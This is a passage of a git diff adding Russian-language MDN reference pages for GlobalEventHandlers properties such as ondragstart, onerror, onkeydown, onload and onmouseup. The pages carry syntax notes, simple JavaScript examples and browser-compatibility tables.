+<p>{{domxref("GlobalEventHandlers","global event handler")}} для события {{event("dragstart")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>dragstartHandler</var> = <var>targetElement</var>.ondragstart;
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<dl>
+ <dt><code>dragstartHandler</code></dt>
+ <dd>Обработчик событий <em>dragstart</em> для элемента <code>targetElement</code>.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этот пример демонстрирует использование {{domxref("GlobalEventHandlers.ondragstart","ondragstart")}} атрибута обработчика для установки обработчика событий элемента {{event("dragstart")}}.</p>
+
+<pre class="brush: js">&lt;!DOCTYPE html&gt;
+&lt;html lang=en&gt;
+&lt;title&gt;Examples of using the ondrag Global Event Attribute&lt;/title&gt;
+&lt;meta content="width=device-width"&gt;
+&lt;style&gt;
+  div {
+    margin: 0em;
+    padding: 2em;
+  }
+  #source {
+    color: blue;
+    border: 1px solid black;
+  }
+  #target {
+    border: 1px solid black;
+  }
+&lt;/style&gt;
+&lt;/head&gt;
+&lt;script&gt;
+function drag_handler(ev) {
+ console.log("Drag");
+}
+
+function dragstart_handler(ev) {
+ console.log("dragStart");
+ ev.dataTransfer.setData("text", ev.target.id);
+}
+
+function drop_handler(ev) {
+ console.log("Drop");
+ ev.currentTarget.style.background = "lightyellow";
+
+ ev.preventDefault();
+ var data = ev.dataTransfer.getData("text");
+ ev.target.appendChild(document.getElementById(data));
+}
+
+function dragover_handler(ev) {
+ console.log("dragOver");
+ ev.preventDefault();
+}
+&lt;/script&gt;
+&lt;body&gt;
+&lt;h1&gt;Examples of &lt;code&gt;ondrag&lt;/code&gt;, &lt;code&gt;ondrop&lt;/code&gt;, &lt;code&gt;ondragstart&lt;/code&gt;, &lt;code&gt;ondragover&lt;/code&gt;&lt;/h1&gt;
+ &lt;div&gt;
+   &lt;p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"&gt;
+     Select this element, drag it to the Drop Zone and then release the selection to move the element.&lt;/p&gt;
+ &lt;/div&gt;
+ &lt;div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);"&gt;Drop Zone&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "indices.html#ix-handler-ondragstart", "ondragstart")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "index.html#ix-handler-ondragstart", "ondragstart")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.GlobalEventHandlers.ondragstart")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{event("dragstart")}}</li>
+</ul>
diff --git a/files/ru/web/api/globaleventhandlers/onerror/index.html b/files/ru/web/api/globaleventhandlers/onerror/index.html
new file mode 100644
index 0000000000..29555d6c44
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onerror/index.html
@@ -0,0 +1,70 @@
+---
+title: GlobalEventHandlers.onerror
+slug: Web/API/GlobalEventHandlers/onerror
+tags:
+  - API
+  - HTML DOM
+  - Свойство
+  - Ссылка
+translation_of: Web/API/GlobalEventHandlers/onerror
+---
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<p>Обработчик события для ошибок среды Javascript.</p>
+
+<p>Обратите внимание, что некоторые/многие <code>error</code> не вызывают <code>window.onerror</code>, вы должны слушать их специально.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre>window.onerror = funcRef;
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<ul>
+ <li><code>funcRef</code> ссылка на функцию. Когда функция возвращает <code>true</code>, блокируется вызов обработчика события по умолчанию. Параметры функции:
+
+  <ul>
+   <li>Сообщение ошибки (string)</li>
+   <li>Url, где произошла ошибка (string)</li>
+   <li>Номер строки, где прошизошла ошибка (number)</li>
+   <li>Номер столбца для строки, в которой произошла ошибка (number) {{gecko_minversion_inline("31.0")}}</li>
+   <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error">Error Object</a> (object) {{gecko_minversion_inline("31.0")}}</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre class="brush: js">// Пример 1:
+
+// Предотвращает диалоги об ошибках, отображает какая это функция окна, это нормальное
+// поведение - путем переопределения обработчика событий по умолчанию для событий об ошибках, которые
+// переходят окну.
+window.onerror = null;
+
+// Пример 2:
+
+var gOldOnError = window.onerror;
+// Переопределить прошлый обработчик события.
+window.onerror = function myErrorHandler(errorMsg, url, lineNumber) {
+  if (gOldOnError)
+    // Вызвать прошлый обработчик события.
+    return gOldOnError(errorMsg, url, lineNumber);
+
+  // Просто запустить обработчик события по умолчанию.
+  return false;
+}
+</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Событие возникает, когда происходит ошибка в скрипте.</p>
+
+<p>При использовании строчной HTML-разметки (<span class="nowiki">&lt;body onerror="alert('an error occurred')&gt;...</span>), аргументы не именуются. Они могут быть доступны через arguments от <code>{{ mediawiki.external(0) }}</code> до <code>{{ mediawiki.external(2) }}</code>.</p>
+
+<p>Здесь недоступен <code><a class="external" href="/en/Components.stack" title="https://developer.mozilla.org/En/Components.stack">Components.stack</a>.caller для использования</code>. (Смотрите <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=355430"><strong>bug 355430</strong></a>.)</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<p><a class="external" href="http://devedge-temp.mozilla.org/library/manuals/2000/javascript/1.3/reference/handlers.html#1120097" title="http://devedge-temp.mozilla.org/library/manuals/2000/javascript/1.3/reference/handlers.html#1120097">JavaScript 1.1</a></p>
diff --git a/files/ru/web/api/globaleventhandlers/onfocus/index.html b/files/ru/web/api/globaleventhandlers/onfocus/index.html
new file mode 100644
index 0000000000..ad7fce00bc
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onfocus/index.html
@@ -0,0 +1,94 @@
+---
+title: GlobalEventHandlers.onfocus
+slug: Web/API/GlobalEventHandlers/onfocus
+translation_of: Web/API/GlobalEventHandlers/onfocus
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Свойство <strong>onfocus</strong> устанавливает обработчик события onFocus на данный элемент.</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">element.onfocus = выполняемый код при сработке события
+</pre>
+
+<h2 id="Заметка">Заметка</h2>
+
+<p>Событие фокуса (focus) вызывается когда пользователь устанавливает фокус на данный элемент.</p>
+
+<p>Чтобы вызвать событие <strong><code>onfocus</code></strong> на элементах, отличных от полей ввода <strong>input, </strong>им необходимо предварительно добавить атрибут {{htmlattrxref("tabindex")}} (см. <a href="/en-US/docs/Learn/Accessibility/HTML#Building_keyboard_accessibility_back_in">Building keyboard accessibility back in</a> для подробностей).</p>
+
+<p>В отличие от браузеров IE, в которых практически на всех элементах можно вызвать событие фокуса, браузеры, написанные на движке <strong>Gecko (Mozilla Firefox), </strong>не поддерживают это событие<strong>.</strong></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onfocus','onfocus')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/globaleventhandlers/oninput/index.html b/files/ru/web/api/globaleventhandlers/oninput/index.html
new file mode 100644
index 0000000000..7da5c5e43b
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/oninput/index.html
@@ -0,0 +1,110 @@
+---
+title: GlobalEventHandlers.oninput
+slug: Web/API/GlobalEventHandlers/oninput
+translation_of: Web/API/GlobalEventHandlers/oninput
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p><span id="result_box" lang="ru"><span>Обработчик события для </span></span><a href="/en-US/docs/Web/Events/input"><code>input</code> event</a><span lang="ru"><span> в окне.</span> <span>Событие ввода возникает при изменении значения элемента {{HTMLElement ("input")}}.</span><br>
+ <br>
+ <span>Это событие пузырится.</span> <span>Если он поддерживается в окне, он поддерживается и в {{HTMLElement ("input")}}.</span></span></p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: html">&lt;script&gt;
+
+window.addEventListener('input', function (e) {
+ console.log("input event detected! coming from this element:", e.target);
+}, false);
+
+&lt;/script&gt;
+
+&lt;input placeholder="type here and see console."&gt;
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "forms.html#event-input-input", "oninput")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>2</td>
+   <td>9</td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://blog.danielfriesen.name/2010/02/16/html5-browser-maze-oninput-support/">An HTML5 Browser maze, oninput support</a></li>
+ <li><a class="external" href="http://www.useragentman.com/blog/2011/05/12/fixing-oninput-in-ie9-using-html5widgets/">Fixing oninput in IE Using html5Widgets</a> includes polyfill for IE6-8</li>
+ <li>Mathias Bynens suggests <a class="external" href="http://mathiasbynens.be/notes/oninput">binding to both input and keydown</a></li>
+ <li><a class="external" href="http://help.dottoro.com/ljhxklln.php">oninput event | dottoro</a> has notes about bugginess in IE9</li>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=312094">Bug 312094 - Add support for &lt;select oninput&gt; </a></li>
+</ul>
diff --git a/files/ru/web/api/globaleventhandlers/onkeydown/index.html b/files/ru/web/api/globaleventhandlers/onkeydown/index.html
new file mode 100644
index 0000000000..48526391bb
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onkeydown/index.html
@@ -0,0 +1,84 @@
+---
+title: GlobalEventHandlers.onkeydown
+slug: Web/API/GlobalEventHandlers/onkeydown
+tags:
+  - API
+  - HTML DOM
+  - Свойство
+translation_of: Web/API/GlobalEventHandlers/onkeydown
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Свойство <code><strong>onkeydown</strong></code> возвращает обработчик события {{event("keydown")}} на текущем элементе.</p>
+
+<p>Событие <code>keydown</code> вызывается, когда пользователь нажал клавишу на клавиатуре.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">element.onkeydown = <var>event handling code</var>
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Имя функции <code>functionRef</code> или <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a>. Функция получает объект {{domxref("KeyboardEvent")}} в качестве единственного аргумента.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этот пример показывает значение {{domxref("KeyboardEvent.code")}}, когда вы нажимаете клавишу внутри элемента {{HtmlElement("input")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;input&gt;
+&lt;p id="log"&gt;&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.onkeydown = logKey;
+
+function logKey(e) {
+  log.textContent += ` ${e.code}`;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Пример")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onkeydown','onkeydown')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{Compat("api.GlobalEventHandlers.onkeydown")}}</div>
+
+<h2 id="Смотите_также">Смотите также</h2>
+
+<div>
+<ul>
+ <li>Событие {{Event("keydown")}}</li>
+ <li>Похожие обработчики событий
+  <ul>
+   <li>{{domxref("GlobalEventHandlers.onkeypress")}}</li>
+   <li>{{domxref("GlobalEventHandlers.onkeyup")}}</li>
+  </ul>
+ </li>
+</ul>
+</div>
+
+<div id="compat-mobile"></div>
diff --git a/files/ru/web/api/globaleventhandlers/onkeypress/index.html b/files/ru/web/api/globaleventhandlers/onkeypress/index.html
new file mode 100644
index 0000000000..bb5a16e61b
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onkeypress/index.html
@@ -0,0 +1,53 @@
+---
+title: GlobalEventHandlers.onkeypress
+slug: Web/API/GlobalEventHandlers/onkeypress
+translation_of: Web/API/GlobalEventHandlers/onkeypress
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Свойство<strong> onkeypress</strong> задаёт и возвращает код обработчика событий onKeyPress для текущего элемента.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">element.onkeypress = <em>код обработчика событий</em>
+</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Событие нажатия <strong>должно</strong> вызываться тогда, когда пользователь нажимает клавишу на клавиатуре. Тем не менее, не все браузеры отрабатывают это событие для некоторых (определённых) клавиш.</p>
+
+<h3 id="Несовместимость_в_браузерах">Несовместимость в браузерах</h3>
+
+<p>Браузеры на основе Webkit (к примеру, Google Chrome и Safari) не отрабатывают события нажатия клавиш-указателей ("стрелок").</p>
+
+<p>Firefox не отрабатывает события, в основе которых лежат клавиши управления (модификаторы) - такие, как, например, SHIFT.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Не является частью спецификации.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий пример демонстрирует использование события <code>onkeypress</code>  в процессе заполнения поля формы (только) цифрами:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;Пример&lt;/title&gt;
+&lt;script&gt;
+  function numbersOnly(oToCheckField, oKeyEvent) {
+    return oKeyEvent.char === 0 || /\d/.test(String.fromCharCode(oKeyEvent.char));
+  }
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;form name="myForm"&gt;
+&lt;p&gt;Вводите только цифры: &lt;input type="text" name="myInput" onkeypress="return numbersOnly(this, event);" onpaste="return false;" /&gt;&lt;/p&gt;
+&lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
diff --git a/files/ru/web/api/globaleventhandlers/onload/index.html b/files/ru/web/api/globaleventhandlers/onload/index.html
new file mode 100644
index 0000000000..7040dadfc4
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onload/index.html
@@ -0,0 +1,58 @@
+---
+title: GlobalEventHandlers.onload
+slug: Web/API/GlobalEventHandlers/onload
+translation_of: Web/API/GlobalEventHandlers/onload
+---
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<p>Обработчик для события загрузки объекта {{ domxref("window") }}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">window.onload = <em>funcRef</em>;
+</pre>
+
+<ul>
+ <li><code>funcRef</code> функция обработчик события будет вызвана, когда произойдёт событие загрузки окна.</li>
+</ul>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre class="brush: js">window.onload = function() {
+  init();
+  doSomethingElse();
+};
+</pre>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;onload test&lt;/title&gt;
+    &lt;script&gt;
+      function load() {
+        alert("Событие загрузки поймано!");
+      }
+      window.onload = load;
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;Событие загрузки произойдёт, когда документ будет загружен!&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Событие загрузки возникают в конце процесса загрузки документа. В этот момент все объекты документа находятся в DOM, и все картинки, скрипты, фреймы, ссылки загружены.</p>
+
+<p>Есть также <a href="/en/Gecko-Specific_DOM_Events" title="en/Gecko-Specific_DOM_Events">Gecko</a> события как <code>DOMContentLoaded</code> и <code>DOMFrameContentLoaded</code> (которые могут быть навешены с помощью {{ domxref("EventTarget.addEventListener()") }}) которые возникают после того как DOM для страницы будет собран, но не ждут, когда другие ресурсы будут загружены.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<p>Этот обработчик события указан в стандарте <a class="external" href="http://www.whatwg.org/html/#handler-window-onload" title="http://www.whatwg.org/html/#handler-window-onload">HTML</a>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code>DOMContentLoaded</code> событие в <a href="/En/Listening_to_events#Simple_DOM.c2.a0events" title="En/Listening to events#Simple DOM.c2.a0events">Listening to events: Simple DOM events</a></li>
+</ul>
diff --git a/files/ru/web/api/globaleventhandlers/onloadend/index.html b/files/ru/web/api/globaleventhandlers/onloadend/index.html
new file mode 100644
index 0000000000..1c5f270054
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onloadend/index.html
@@ -0,0 +1,110 @@
+---
+title: GlobalEventHandlers.onloadend
+slug: Web/API/GlobalEventHandlers/onloadend
+translation_of: Web/API/GlobalEventHandlers/onloadend
+---
+<div>{{ApiRef}}</div>
+
+<p><span id="result_box" lang="ru"><span>Свойство</span></span> <strong><code>onloadend</code></strong>  <span id="result_box" lang="ru"><span>от </span></span>{{domxref("GlobalEventHandlers")}} примесь {{domxref("EventHandler")}} <span id="result_box" lang="ru"><span>передает код для вызова в момент возникновения события</span></span> {{event("loadend")}}  (когда процесс загрузки ресурса окончился и остановился)</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>img</var>.onloadend = <var>funcRef</var>;
+</pre>
+
+<p>При возникновении события  <code>loadend</code>  будет вызванна функция обработчик <code>funcRef</code>.</p>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre class="brush: html">&lt;img src="myImage.jpg"&gt;</pre>
+
+<pre class="brush: js">// 'loadstart' fires first, then 'load', then 'loadend'
+
+image.addEventListener('load', function(e) {
+  console.log('Image loaded');
+});
+
+image.addEventListener('loadstart', function(e) {
+  console.log('Image load started');
+});
+
+image.addEventListener('loadend', function(e) {
+  console.log('Image load finished');
+});</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webappapis.html#handler-onloadend", "onloadend")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("52")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("52")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] As of Firefox 52, The <code>loadend</code> event is now fired on {{htmlelement("img")}} elements.</p>
diff --git a/files/ru/web/api/globaleventhandlers/onmousedown/index.html b/files/ru/web/api/globaleventhandlers/onmousedown/index.html
new file mode 100644
index 0000000000..39c6b2ee1c
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onmousedown/index.html
@@ -0,0 +1,94 @@
+---
+title: GlobalEventHandlers.onmousedown
+slug: Web/API/GlobalEventHandlers/onmousedown
+translation_of: Web/API/GlobalEventHandlers/onmousedown
+---
+<div>
+<div>{{ ApiRef("HTML DOM") }}</div>
+</div>
+
+<p>Свойство <code>onmousedown</code> возвращает  код обработчика события <code>onmousedown</code> на соответствующем элементе.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">element.onmousedown = <em>код обработчика этого события (функция)</em>
+</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Событие <code>mousedown</code> обрабатывается когда пользователь нажимает кнопку мыши. </p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onmousedown','onmousedown')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Обычная соместимость</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Обычная совместимость</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/globaleventhandlers/onmouseup/index.html b/files/ru/web/api/globaleventhandlers/onmouseup/index.html
new file mode 100644
index 0000000000..9b802ee95e
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onmouseup/index.html
@@ -0,0 +1,94 @@
+---
+title: GlobalEventHandlers.onmouseup
+slug: Web/API/GlobalEventHandlers/onmouseup
+translation_of: Web/API/GlobalEventHandlers/onmouseup
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p><span id="result_box" lang="ru"><span>Свойство <strong>onmouseup</strong> возвращает код обработчика события onMouseUp текущего элемента.</span></span></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">element.onmouseup =  <span class="short_text" id="result_box" lang="ru"><span>код обработки событий</span></span>
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p><span id="result_box" lang="ru"><span>Событие mouseup возникает, когда пользователь отпускает кнопку мыши.</span></span></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onmouseup','onmouseup')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
